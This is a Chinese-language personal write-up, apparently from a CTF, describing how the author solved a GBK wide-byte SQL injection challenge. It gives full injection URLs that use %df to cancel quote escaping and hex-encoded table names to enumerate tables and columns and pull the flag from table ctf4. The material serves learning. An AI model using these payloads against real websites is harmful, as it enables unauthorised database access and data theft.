从昨天晚上开始做的,结果踩了一个坑,干到了凌晨1点,电脑都自动关机了,也没做出来,电脑关机之后,又用手机查了一下,


知道了应该用表名的16进制形式来进行爆表,然后到今天上午才做完,还是上计组的时候用手机的火狐做的,手机做是真的难受




宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码


表名库名的十六进制形式:


            字符形式的表名: ctf


表示成十六进制就是这样的:  0x637466


每个字母用两位十六进制数表示,前面加一个0x就行了




当我爆表的时候需要使用这样语句:


完整的url:


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23




这样就能显示出来当前数据库中的所有表




问题出在爆列,我们依次查询各个表中的字段


在'不被过滤的情况下,我们的语句应该是这样的:


' and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name='table1'#


但是现在存在针对特殊符号的过滤,'会被转义而变成普通的字符,虽然有宽字节注入的漏洞,但是我们只能在闭合'的时候用,后面的where字句中


就无法使用了,如果在where子句中使用宽字节吃掉转义符,那么你的注入语句就会变成这样:


your sql:select id,title from news where id = '運' and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=運'ctf運'#'


转义符\的确是被吃掉了,但是where字句也多了两个gbk编码,所以一定会报错,此路不通,我们就转而用十六进制形式的表名,这种形式不需要单引号


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=0x637466%23


这样构造出来的url就爆出了ctf表中的字段,没有flag字段,继续爆其他的表格,当我们爆到ctf4的时候,


发现了flag字段,之后构造select flag from ctf4的注入语句即可拿到flag